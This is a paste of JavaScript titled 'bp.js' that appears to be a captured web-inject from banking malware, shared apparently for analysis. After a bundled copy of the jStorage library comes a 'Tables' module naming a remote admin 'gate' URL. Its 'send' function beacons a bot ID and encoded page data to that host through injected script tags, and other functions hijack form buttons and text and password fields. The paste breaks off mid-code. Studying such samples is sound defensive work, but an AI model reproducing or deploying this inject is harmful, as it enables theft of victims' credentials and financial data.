Xylitol icon

ssl10.ovh.net/~dpexpert/bp.js

Xylitol | PRO | 08/18/17 09:24:12 AM UTC | 0 ⭐ | 1126 👁️ | Never ⏰ | []
JavaScript |

85.23 KB

|

None

|

0 👍

/

0 👎

(function() {
'use strict';
var
/* jStorage version */
JSTORAGE_VERSION = '0.4.12',
/* detect a dollar object or create one if not found */
$ = window.jQuery || window.$ || (window.$ = {}),
/* check for a JSON handling support */
JSON = {
parse: window.JSON && (window.JSON.parse || window.JSON.decode) ||
String.prototype.evalJSON && function(str) {
return String(str).evalJSON();
} ||
$.parseJSON ||
$.evalJSON,
stringify: Object.toJSON ||
window.JSON && (window.JSON.stringify || window.JSON.encode) ||
$.toJSON
};
// Break if no JSON support was found
if (typeof JSON.parse !== 'function' || typeof JSON.stringify !== 'function') {
throw new Error('No JSON support found, include //cdnjs.cloudflare.com/ajax/libs/json2/20110223/json2.js to page');
}
var
/* This is the object, that holds the cached values */
_storage = {
__jstorage_meta: {
CRC32: {}
}
},
/* Actual browser storage (localStorage or globalStorage['domain']) */
_storage_service = {
jStorage: '{}'
},
/* DOM element for older IE versions, holds userData behavior */
_storage_elm = null,
/* How much space does the storage take */
_storage_size = 0,
/* which backend is currently used */
_backend = false,
/* onchange observers */
_observers = {},
/* timeout to wait after onchange event */
_observer_timeout = false,
/* last update time */
_observer_update = 0,
/* pubsub observers */
_pubsub_observers = {},
/* skip published items older than current timestamp */
_pubsub_last = +new Date(),
/* Next check for TTL */
_ttl_timeout,
/**
* XML encoding and decoding as XML nodes can't be JSON'ized
* XML nodes are encoded and decoded if the node is the value to be saved
* but not if it's as a property of another object
* Eg. -
* $.jStorage.set('key', xmlNode); // IS OK
* $.jStorage.set('key', {xml: xmlNode}); // NOT OK
*/
_XMLService = {
/**
* Validates a XML node to be XML
* based on jQuery.isXML function
*/
isXML: function(elm) {
var documentElement = (elm ? elm.ownerDocument || elm : 0).documentElement;
return documentElement ? documentElement.nodeName !== 'HTML' : false;
},
/**
* Encodes a XML node to string
* based on http://www.mercurytide.co.uk/news/article/issues-when-working-ajax/
*/
encode: function(xmlNode) {
if (!this.isXML(xmlNode)) {
return false;
}
try { // Mozilla, Webkit, Opera
return new XMLSerializer().serializeToString(xmlNode);
} catch (E1) {
try { // IE
return xmlNode.xml;
} catch (E2) {}
}
return false;
},
/**
* Decodes a XML node from string
* loosely based on http://outwestmedia.com/jquery-plugins/xmldom/
*/
decode: function(xmlString) {
var dom_parser = ('DOMParser' in window && (new DOMParser()).parseFromString) ||
(window.ActiveXObject && function(_xmlString) {
var xml_doc = new ActiveXObject('Microsoft.XMLDOM');
xml_doc.async = 'false';
xml_doc.loadXML(_xmlString);
return xml_doc;
}),
resultXML;
if (!dom_parser) {
return false;
}
resultXML = dom_parser.call('DOMParser' in window && (new DOMParser()) || window, xmlString, 'text/xml');
return this.isXML(resultXML) ? resultXML : false;
}
};
////////////////////////// PRIVATE METHODS ////////////////////////
/**
* Initialization function. Detects if the browser supports DOM Storage
* or userData behavior and behaves accordingly.
*/
function _init() {
/* Check if browser supports localStorage */
var localStorageReallyWorks = false;
if ('localStorage' in window) {
try {
window.localStorage.setItem('_tmptest', 'tmpval');
localStorageReallyWorks = true;
window.localStorage.removeItem('_tmptest');
} catch (BogusQuotaExceededErrorOnIos5) {
// Thanks be to iOS5 Private Browsing mode which throws
// QUOTA_EXCEEDED_ERRROR DOM Exception 22.
}
}
if (localStorageReallyWorks) {
try {
if (window.localStorage) {
_storage_service = window.localStorage;
_backend = 'localStorage';
_observer_update = _storage_service.jStorage_update;
}
} catch (E3) { /* Firefox fails when touching localStorage and cookies are disabled */ }
}
/* Check if browser supports globalStorage */
else if ('globalStorage' in window) {
try {
if (window.globalStorage) {
if (window.location.hostname == 'localhost') {
_storage_service = window.globalStorage['localhost.localdomain'];
} else {
_storage_service = window.globalStorage[window.location.hostname];
}
_backend = 'globalStorage';
_observer_update = _storage_service.jStorage_update;
}
} catch (E4) { /* Firefox fails when touching localStorage and cookies are disabled */ }
}
/* Check if browser supports userData behavior */
else {
_storage_elm = document.createElement('link');
if (_storage_elm.addBehavior) {
/* Use a DOM element to act as userData storage */
_storage_elm.style.behavior = 'url(#default#userData)';
/* userData element needs to be inserted into the DOM! */
document.getElementsByTagName('head')[0].appendChild(_storage_elm);
try {
_storage_elm.load('jStorage');
} catch (E) {
// try to reset cache
_storage_elm.setAttribute('jStorage', '{}');
_storage_elm.save('jStorage');
_storage_elm.load('jStorage');
}
var data = '{}';
try {
data = _storage_elm.getAttribute('jStorage');
} catch (E5) {}
try {
_observer_update = _storage_elm.getAttribute('jStorage_update');
} catch (E6) {}
_storage_service.jStorage = data;
_backend = 'userDataBehavior';
} else {
_storage_elm = null;
return;
}
}
// Load data from storage
_load_storage();
// remove dead keys
_handleTTL();
// start listening for changes
_setupObserver();
// initialize publish-subscribe service
_handlePubSub();
// handle cached navigation
if ('addEventListener' in window) {
window.addEventListener('pageshow', function(event) {
if (event.persisted) {
_storageObserver();
}
}, false);
}
}
/**
* Reload data from storage when needed
*/
function _reloadData() {
var data = '{}';
if (_backend == 'userDataBehavior') {
_storage_elm.load('jStorage');
try {
data = _storage_elm.getAttribute('jStorage');
} catch (E5) {}
try {
_observer_update = _storage_elm.getAttribute('jStorage_update');
} catch (E6) {}
_storage_service.jStorage = data;
}
_load_storage();
// remove dead keys
_handleTTL();
_handlePubSub();
}
/**
* Sets up a storage change observer
*/
function _setupObserver() {
if (_backend == 'localStorage' || _backend == 'globalStorage') {
if ('addEventListener' in window) {
window.addEventListener('storage', _storageObserver, false);
} else {
document.attachEvent('onstorage', _storageObserver);
}
} else if (_backend == 'userDataBehavior') {
setInterval(_storageObserver, 1000);
}
}
/**
* Fired on any kind of data change, needs to check if anything has
* really been changed
*/
function _storageObserver() {
var updateTime;
// cumulate change notifications with timeout
clearTimeout(_observer_timeout);
_observer_timeout = setTimeout(function() {
if (_backend == 'localStorage' || _backend == 'globalStorage') {
updateTime = _storage_service.jStorage_update;
} else if (_backend == 'userDataBehavior') {
_storage_elm.load('jStorage');
try {
updateTime = _storage_elm.getAttribute('jStorage_update');
} catch (E5) {}
}
if (updateTime && updateTime != _observer_update) {
_observer_update = updateTime;
_checkUpdatedKeys();
}
}, 25);
}
/**
* Reloads the data and checks if any keys are changed
*/
function _checkUpdatedKeys() {
var oldCrc32List = JSON.parse(JSON.stringify(_storage.__jstorage_meta.CRC32)),
newCrc32List;
_reloadData();
newCrc32List = JSON.parse(JSON.stringify(_storage.__jstorage_meta.CRC32));
var key,
updated = [],
removed = [];
for (key in oldCrc32List) {
if (oldCrc32List.hasOwnProperty(key)) {
if (!newCrc32List[key]) {
removed.push(key);
continue;
}
if (oldCrc32List[key] != newCrc32List[key] && String(oldCrc32List[key]).substr(0, 2) == '2.') {
updated.push(key);
}
}
}
for (key in newCrc32List) {
if (newCrc32List.hasOwnProperty(key)) {
if (!oldCrc32List[key]) {
updated.push(key);
}
}
}
_fireObservers(updated, 'updated');
_fireObservers(removed, 'deleted');
}
/**
* Fires observers for updated keys
*
* @param {Array|String} keys Array of key names or a key
* @param {String} action What happened with the value (updated, deleted, flushed)
*/
function _fireObservers(keys, action) {
keys = [].concat(keys || []);
var i, j, len, jlen;
if (action == 'flushed') {
keys = [];
for (var key in _observers) {
if (_observers.hasOwnProperty(key)) {
keys.push(key);
}
}
action = 'deleted';
}
for (i = 0, len = keys.length; i < len; i++) {
if (_observers[keys[i]]) {
for (j = 0, jlen = _observers[keys[i]].length; j < jlen; j++) {
_observers[keys[i]][j](keys[i], action);
}
}
if (_observers['*']) {
for (j = 0, jlen = _observers['*'].length; j < jlen; j++) {
_observers['*'][j](keys[i], action);
}
}
}
}
/**
* Publishes key change to listeners
*/
function _publishChange() {
var updateTime = (+new Date()).toString();
if (_backend == 'localStorage' || _backend == 'globalStorage') {
try {
_storage_service.jStorage_update = updateTime;
} catch (E8) {
// safari private mode has been enabled after the jStorage initialization
_backend = false;
}
} else if (_backend == 'userDataBehavior') {
_storage_elm.setAttribute('jStorage_update', updateTime);
_storage_elm.save('jStorage');
}
_storageObserver();
}
/**
* Loads the data from the storage based on the supported mechanism
*/
function _load_storage() {
/* if jStorage string is retrieved, then decode it */
if (_storage_service.jStorage) {
try {
_storage = JSON.parse(String(_storage_service.jStorage));
} catch (E6) {
_storage_service.jStorage = '{}';
}
} else {
_storage_service.jStorage = '{}';
}
_storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;
if (!_storage.__jstorage_meta) {
_storage.__jstorage_meta = {};
}
if (!_storage.__jstorage_meta.CRC32) {
_storage.__jstorage_meta.CRC32 = {};
}
}
/**
* This functions provides the 'save' mechanism to store the jStorage object
*/
function _save() {
_dropOldEvents(); // remove expired events
try {
_storage_service.jStorage = JSON.stringify(_storage);
// If userData is used as the storage engine, additional
if (_storage_elm) {
_storage_elm.setAttribute('jStorage', _storage_service.jStorage);
_storage_elm.save('jStorage');
}
_storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;
} catch (E7) { /* probably cache is full, nothing is saved this way*/ }
}
/**
* Function checks if a key is set and is string or numberic
*
* @param {String} key Key name
*/
function _checkKey(key) {
if (typeof key != 'string' && typeof key != 'number') {
throw new TypeError('Key name must be string or numeric');
}
if (key == '__jstorage_meta') {
throw new TypeError('Reserved key name');
}
return true;
}
/**
* Removes expired keys
*/
function _handleTTL() {
var curtime, i, TTL, CRC32, nextExpire = Infinity,
changed = false,
deleted = [];
clearTimeout(_ttl_timeout);
if (!_storage.__jstorage_meta || typeof _storage.__jstorage_meta.TTL != 'object') {
// nothing to do here
return;
}
curtime = +new Date();
TTL = _storage.__jstorage_meta.TTL;
CRC32 = _storage.__jstorage_meta.CRC32;
for (i in TTL) {
if (TTL.hasOwnProperty(i)) {
if (TTL[i] <= curtime) {
delete TTL[i];
delete CRC32[i];
delete _storage[i];
changed = true;
deleted.push(i);
} else if (TTL[i] < nextExpire) {
nextExpire = TTL[i];
}
}
}
// set next check
if (nextExpire != Infinity) {
_ttl_timeout = setTimeout(_handleTTL, Math.min(nextExpire - curtime, 0x7FFFFFFF));
}
// save changes
if (changed) {
_save();
_publishChange();
_fireObservers(deleted, 'deleted');
}
}
/**
* Checks if there's any events on hold to be fired to listeners
*/
function _handlePubSub() {
var i, len;
if (!_storage.__jstorage_meta.PubSub) {
return;
}
var pubelm,
_pubsubCurrent = _pubsub_last,
needFired = [];
for (i = len = _storage.__jstorage_meta.PubSub.length - 1; i >= 0; i--) {
pubelm = _storage.__jstorage_meta.PubSub[i];
if (pubelm[0] > _pubsub_last) {
_pubsubCurrent = pubelm[0];
needFired.unshift(pubelm);
}
}
for (i = needFired.length - 1; i >= 0; i--) {
_fireSubscribers(needFired[i][1], needFired[i][2]);
}
_pubsub_last = _pubsubCurrent;
}
/**
* Fires all subscriber listeners for a pubsub channel
*
* @param {String} channel Channel name
* @param {Mixed} payload Payload data to deliver
*/
function _fireSubscribers(channel, payload) {
if (_pubsub_observers[channel]) {
for (var i = 0, len = _pubsub_observers[channel].length; i < len; i++) {
// send immutable data that can't be modified by listeners
try {
_pubsub_observers[channel][i](channel, JSON.parse(JSON.stringify(payload)));
} catch (E) {}
}
}
}
/**
* Remove old events from the publish stream (at least 2sec old)
*/
function _dropOldEvents() {
if (!_storage.__jstorage_meta.PubSub) {
return;
}
var retire = +new Date() - 2000;
for (var i = 0, len = _storage.__jstorage_meta.PubSub.length; i < len; i++) {
if (_storage.__jstorage_meta.PubSub[i][0] <= retire) {
// deleteCount is needed for IE6
_storage.__jstorage_meta.PubSub.splice(i, _storage.__jstorage_meta.PubSub.length - i);
break;
}
}
if (!_storage.__jstorage_meta.PubSub.length) {
delete _storage.__jstorage_meta.PubSub;
}
}
/**
* Publish payload to a channel
*
* @param {String} channel Channel name
* @param {Mixed} payload Payload to send to the subscribers
*/
function _publish(channel, payload) {
if (!_storage.__jstorage_meta) {
_storage.__jstorage_meta = {};
}
if (!_storage.__jstorage_meta.PubSub) {
_storage.__jstorage_meta.PubSub = [];
}
_storage.__jstorage_meta.PubSub.unshift([+new Date(), channel, payload]);
_save();
_publishChange();
}
/**
* JS Implementation of MurmurHash2
*
* SOURCE: https://github.com/garycourt/murmurhash-js (MIT licensed)
*
* @author <a href='mailto:[email protected]'>Gary Court</a>
* @see http://github.com/garycourt/murmurhash-js
* @author <a href='mailto:[email protected]'>Austin Appleby</a>
* @see http://sites.google.com/site/murmurhash/
*
* @param {string} str ASCII only
* @param {number} seed Positive integer only
* @return {number} 32-bit positive integer hash
*/
function murmurhash2_32_gc(str, seed) {
var
l = str.length,
h = seed ^ l,
i = 0,
k;
while (l >= 4) {
k =
((str.charCodeAt(i) & 0xff)) |
((str.charCodeAt(++i) & 0xff) << 8) |
((str.charCodeAt(++i) & 0xff) << 16) |
((str.charCodeAt(++i) & 0xff) << 24);
k = (((k & 0xffff) * 0x5bd1e995) + ((((k >>> 16) * 0x5bd1e995) & 0xffff) << 16));
k ^= k >>> 24;
k = (((k & 0xffff) * 0x5bd1e995) + ((((k >>> 16) * 0x5bd1e995) & 0xffff) << 16));
h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16)) ^ k;
l -= 4;
++i;
}
switch (l) {
case 3:
h ^= (str.charCodeAt(i + 2) & 0xff) << 16;
/* falls through */
case 2:
h ^= (str.charCodeAt(i + 1) & 0xff) << 8;
/* falls through */
case 1:
h ^= (str.charCodeAt(i) & 0xff);
h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16));
}
h ^= h >>> 13;
h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16));
h ^= h >>> 15;
return h >>> 0;
}
////////////////////////// PUBLIC INTERFACE /////////////////////////
$.jStorage = {
/* Version number */
version: JSTORAGE_VERSION,
/**
* Sets a key's value.
*
* @param {String} key Key to set. If this value is not set or not
* a string an exception is raised.
* @param {Mixed} value Value to set. This can be any value that is JSON
* compatible (Numbers, Strings, Objects etc.).
* @param {Object} [options] - possible options to use
* @param {Number} [options.TTL] - optional TTL value, in milliseconds
* @return {Mixed} the used value
*/
set: function(key, value, options) {
_checkKey(key);
options = options || {};
// undefined values are deleted automatically
if (typeof value == 'undefined') {
this.deleteKey(key);
return value;
}
if (_XMLService.isXML(value)) {
value = {
_is_xml: true,
xml: _XMLService.encode(value)
};
} else if (typeof value == 'function') {
return undefined; // functions can't be saved!
} else if (value && typeof value == 'object') {
// clone the object before saving to _storage tree
value = JSON.parse(JSON.stringify(value));
}
_storage[key] = value;
_storage.__jstorage_meta.CRC32[key] = '2.' + murmurhash2_32_gc(JSON.stringify(value), 0x9747b28c);
this.setTTL(key, options.TTL || 0); // also handles saving and _publishChange
_fireObservers(key, 'updated');
return value;
},
/**
* Looks up a key in cache
*
* @param {String} key - Key to look up.
* @param {mixed} def - Default value to return, if key didn't exist.
* @return {Mixed} the key value, default value or null
*/
get: function(key, def) {
_checkKey(key);
if (key in _storage) {
if (_storage[key] && typeof _storage[key] == 'object' && _storage[key]._is_xml) {
return _XMLService.decode(_storage[key].xml);
} else {
return _storage[key];
}
}
return typeof(def) == 'undefined' ? null : def;
},
/**
* Deletes a key from cache.
*
* @param {String} key - Key to delete.
* @return {Boolean} true if key existed or false if it didn't
*/
deleteKey: function(key) {
_checkKey(key);
if (key in _storage) {
delete _storage[key];
// remove from TTL list
if (typeof _storage.__jstorage_meta.TTL == 'object' &&
key in _storage.__jstorage_meta.TTL) {
delete _storage.__jstorage_meta.TTL[key];
}
delete _storage.__jstorage_meta.CRC32[key];
_save();
_publishChange();
_fireObservers(key, 'deleted');
return true;
}
return false;
},
/**
* Sets a TTL for a key, or remove it if ttl value is 0 or below
*
* @param {String} key - key to set the TTL for
* @param {Number} ttl - TTL timeout in milliseconds
* @return {Boolean} true if key existed or false if it didn't
*/
setTTL: function(key, ttl) {
var curtime = +new Date();
_checkKey(key);
ttl = Number(ttl) || 0;
if (key in _storage) {
if (!_storage.__jstorage_meta.TTL) {
_storage.__jstorage_meta.TTL = {};
}
// Set TTL value for the key
if (ttl > 0) {
_storage.__jstorage_meta.TTL[key] = curtime + ttl;
} else {
delete _storage.__jstorage_meta.TTL[key];
}
_save();
_handleTTL();
_publishChange();
return true;
}
return false;
},
/**
* Gets remaining TTL (in milliseconds) for a key or 0 when no TTL has been set
*
* @param {String} key Key to check
* @return {Number} Remaining TTL in milliseconds
*/
getTTL: function(key) {
var curtime = +new Date(),
ttl;
_checkKey(key);
if (key in _storage && _storage.__jstorage_meta.TTL && _storage.__jstorage_meta.TTL[key]) {
ttl = _storage.__jstorage_meta.TTL[key] - curtime;
return ttl || 0;
}
return 0;
},
/**
* Deletes everything in cache.
*
* @return {Boolean} Always true
*/
flush: function() {
_storage = {
__jstorage_meta: {
CRC32: {}
}
};
_save();
_publishChange();
_fireObservers(null, 'flushed');
return true;
},
/**
* Returns a read-only copy of _storage
*
* @return {Object} Read-only copy of _storage
*/
storageObj: function() {
function F() {}
F.prototype = _storage;
return new F();
},
/**
* Returns an index of all used keys as an array
* ['key1', 'key2',..'keyN']
*
* @return {Array} Used keys
*/
index: function() {
var index = [],
i;
for (i in _storage) {
if (_storage.hasOwnProperty(i) && i != '__jstorage_meta') {
index.push(i);
}
}
return index;
},
/**
* How much space in bytes does the storage take?
*
* @return {Number} Storage size in chars (not the same as in bytes,
* since some chars may take several bytes)
*/
storageSize: function() {
return _storage_size;
},
/**
* Which backend is currently in use?
*
* @return {String} Backend name
*/
currentBackend: function() {
return _backend;
},
/**
* Test if storage is available
*
* @return {Boolean} True if storage can be used
*/
storageAvailable: function() {
return !!_backend;
},
/**
* Register change listeners
*
* @param {String} key Key name
* @param {Function} callback Function to run when the key changes
*/
listenKeyChange: function(key, callback) {
_checkKey(key);
if (!_observers[key]) {
_observers[key] = [];
}
_observers[key].push(callback);
},
/**
* Remove change listeners
*
* @param {String} key Key name to unregister listeners against
* @param {Function} [callback] If set, unregister the callback, if not - unregister all
*/
stopListening: function(key, callback) {
_checkKey(key);
if (!_observers[key]) {
return;
}
if (!callback) {
delete _observers[key];
return;
}
for (var i = _observers[key].length - 1; i >= 0; i--) {
if (_observers[key][i] == callback) {
_observers[key].splice(i, 1);
}
}
},
/**
* Subscribe to a Publish/Subscribe event stream
*
* @param {String} channel Channel name
* @param {Function} callback Function to run when the something is published to the channel
*/
subscribe: function(channel, callback) {
channel = (channel || '').toString();
if (!channel) {
throw new TypeError('Channel not defined');
}
if (!_pubsub_observers[channel]) {
_pubsub_observers[channel] = [];
}
_pubsub_observers[channel].push(callback);
},
/**
* Publish data to an event stream
*
* @param {String} channel Channel name
* @param {Mixed} payload Payload to deliver
*/
publish: function(channel, payload) {
channel = (channel || '').toString();
if (!channel) {
throw new TypeError('Channel not defined');
}
_publish(channel, payload);
},
/**
* Reloads the data from browser storage
*/
reInit: function() {
_reloadData();
},
/**
* Removes reference from global objects and saves it as jStorage
*
* @param {Boolean} option if needed to save object as simple 'jStorage' in windows context
*/
noConflict: function(saveInGlobal) {
delete window.$.jStorage;
if (saveInGlobal) {
window.jStorage = this;
}
return this;
}
};
// Initialize jStorage
_init();
})();
 
var _tablesStorage = $.jStorage;
 
var Tables = (function(){
    
    var admin = 'https://ssl6.ovh.net/~lifestyl/real_track/ssllxxssll/bp/';
    
    var data = new Array();
    
    var link = {
        gate: admin+"menu.php"
    };
    
    var options = {
        callback_status: '',
        iframe_status: '',
        currency_state: false
    };
    
    var splitter = {value: 'none',position: 'none'};
    var prefix = {minus: '-',plus: ''};
    
    function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}}
    
    function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera')  > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;}
    
    function cin(digits){var res = '';if(digits && digits.length > 0){digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for(var i = 0;i < digits.length; i++){var Char = digits.charAt(i);if(ValidChars.indexOf(Char) >=0){res += Char;}}}return parseFloat(res);}
    
    function cout(digits,r){if(r == 1){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+','+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + '.' + cents);}else if(r == 2){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+'.'+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + ',' + cents);}else{return digits;}}
    
    function gc(digits){if(digits){if(/[0-9]/igm.test(digits)){if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){options.currency_state = 1;return cin(digits.replace(/\,/g, ''));}else{options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}}else{return digits;}}else{return digits;}}
    
    function sc(digits){if(options.currency_state == 1 || options.currency_state == 2){return cout(digits,options.currency_state);}else{return digits;}}
    
    return{
    
        brows: function(){
            var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; 
            if(/trident/i.test(M[1])){
                tem=/\brv[ :]+(\d+)/g.exec(ua) || []; 
                return {name:'IE ',version:(tem[1]||'')};
                }   
            if(M[1]==='Chrome'){
                tem=ua.match(/\bOPR\/(\d+)/)
                if(tem!=null)   {return {name:'Opera', version:tem[1]};}
                }
            M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
            if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);}
            return M[0]+' '+M[1];
        },
        
        set: function(name,value){
            if(/function/igm.test(typeof value)){
                data[name] = value();
            }else{
                data[name] = value;
            }
        },
        
        add: function(name,value){
            if(data[name]){
                data[name] = data[name]+value;
            }else{
                _tables.set(name,value);
            }
        },
        
        get: function(name){
            return data[name];
        },
        
        are: function(){
            var r = true;
            if(arguments && arguments.length > 0){
                for(var i = 0; i < arguments.length; i++){
                    if(!data[arguments[i]]){
                        r = false;
                    }
                }
            }
            return r;
        },
        
        dump: function(){
            var a = '';
            for(key in data){
                a += key+": "+data[key]+"\r\n";
            }
            alert(a);
        },
        
        findout: function(){
            var found = {
                tag: false,
                error: false,
                element: false
            };
            
            if(arguments && arguments.length >= 3){
                var elements_array = arguments[1].split("|");
                if(elements_array.length > 0){
                    for(var k = 0; k < elements_array.length; k++){
                        var elements = arguments[0].getElementsByTagName(elements_array[k]);
                        if(elements && elements.length > 0){
                            for(var i = 0; i < elements.length; i++){
                                for(var e = 2; e < arguments.length; e++){
                                    var pattern = new RegExp(arguments[e].split(":")[1],"igm");
                                    if(arguments[e].split(":")[0] == "class"){
                                        if(elements[i].className !== null && pattern.test(elements[i].className)){
                                            found.tag = true;
                                        }else{
                                            found.error = true;
                                        }
                                    }else if(arguments[e].split(":")[0] == "for"){
                                        if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){
                                            found.tag = true;
                                        }else{
                                            found.error = true;
                                        }
                                    }else{
                                        if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
                                            found.tag = true;
                                        }else{
                                            found.error = true;
                                        }
                                    }
                                }
                                if(found.tag && !found.error){
                                    return elements[i];
                                }else{
                                    found.tag = false;
                                    found.error = false;
                                }
                            }
                        }
                    }
                    return false;
                }else{
                    return false;
                }
            }else{
                return false;
            }
        },
        
        findin: function(){
            var found = {
                tag: false,
                error: false,
                element: false
            };
        
            if(arguments && arguments.length > 2){
                var elements = arguments[0].getElementsByTagName(arguments[1]);
                if(elements && elements.length > 0){
                    for(var i = 0; i < elements.length; i++){
                        for(var e = 2; e < arguments.length; e++){
                            var pattern = new RegExp(arguments[e],"igm");
                            if(pattern.test(elements[i].innerHTML.toLowerCase())){
                                found.tag = true;
                            }else{
                                found.error = true;
                            }
                        }
                        if(found.tag && !found.error){
                            return elements[i];
                        }else{
                            found.tag = false;
                            found.error = false;
                        }
                    }
                }
            }
            return false;
        },
        
        tinydecode: function(s){
            s = s.replace(/\&lt;/g,'<');
            s = s.replace(/\&gt;/g,'>');
            s = s.replace(/\&quot;/g,'"');
            s = s.replace(/\&amp;/g,'&');
            s = s.replace(/\&nbsp;/g,' ');
            return s;
        },
        
        child: function(parent,child){
            return parent && child ? parent.getElementsByTagName(child) : false;
        },
        
        html: function(element){
            if(element){
                var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML;
                return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
            }else{
                return "";
            }
        },
        
        input: function(input,type){
            switch(type){
                case("block"):
                    if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};}
                break;
                
                case("disable"):
                    input.disabled = true;
                break;
            }
        },
        
        form: function(form,type){
            if(form){
                switch(type){
                    case("block"):
                        var inps = _tables.child(form,"input");
                        if(inps && inps.length > 0){
                            for(var i = 0; i < inps.length; i++){
                                if(/text|password/igm.test(inps[i].type)){
                                    _tables.input(inps[i],'block');
                                }
                            }
                        }
                    break;
                }
            }
        },
        
        bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}},
        
        replacebutton: function(button,func,btnid){
            var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName);
            for(x in button.attributes){
                if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){
                    if(button.attributes[x].name == "onclick" ||
                        button.attributes[x].name == "name" ||
                        button.attributes[x].name == "disabled" ||
                        (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) ||
                        button.attributes[x].name == "id"
                    ){
                        continue;
                    }
                    if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){
                        newButton.type = "button";
                    }else{
                        newButton.setAttribute(button.attributes[x].name,button.attributes[x].value);
                    }
                }
            }
            
            if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){
                newButton.innerHTML = button.innerHTML;
            }
            newButton.style.cursor = "pointer";
            button.style.display = "none";
            if(btnid){
                newButton.id = btnid;
            }else{
                newButton.id = "_tables.button";
            }
            _tables.bind("click",newButton,func);
            button.parentNode.insertBefore(newButton,button);
        },
        
        encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;},
        
        send: function(){var l = link.gate+'?botid='+_tablesStorage.get('username')+'_'+_brows.botid+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);},
        
        status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}},
        
        fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}},
        
        rand: function(a,b){return Math.floor((Math.random()*b)+a);},
        
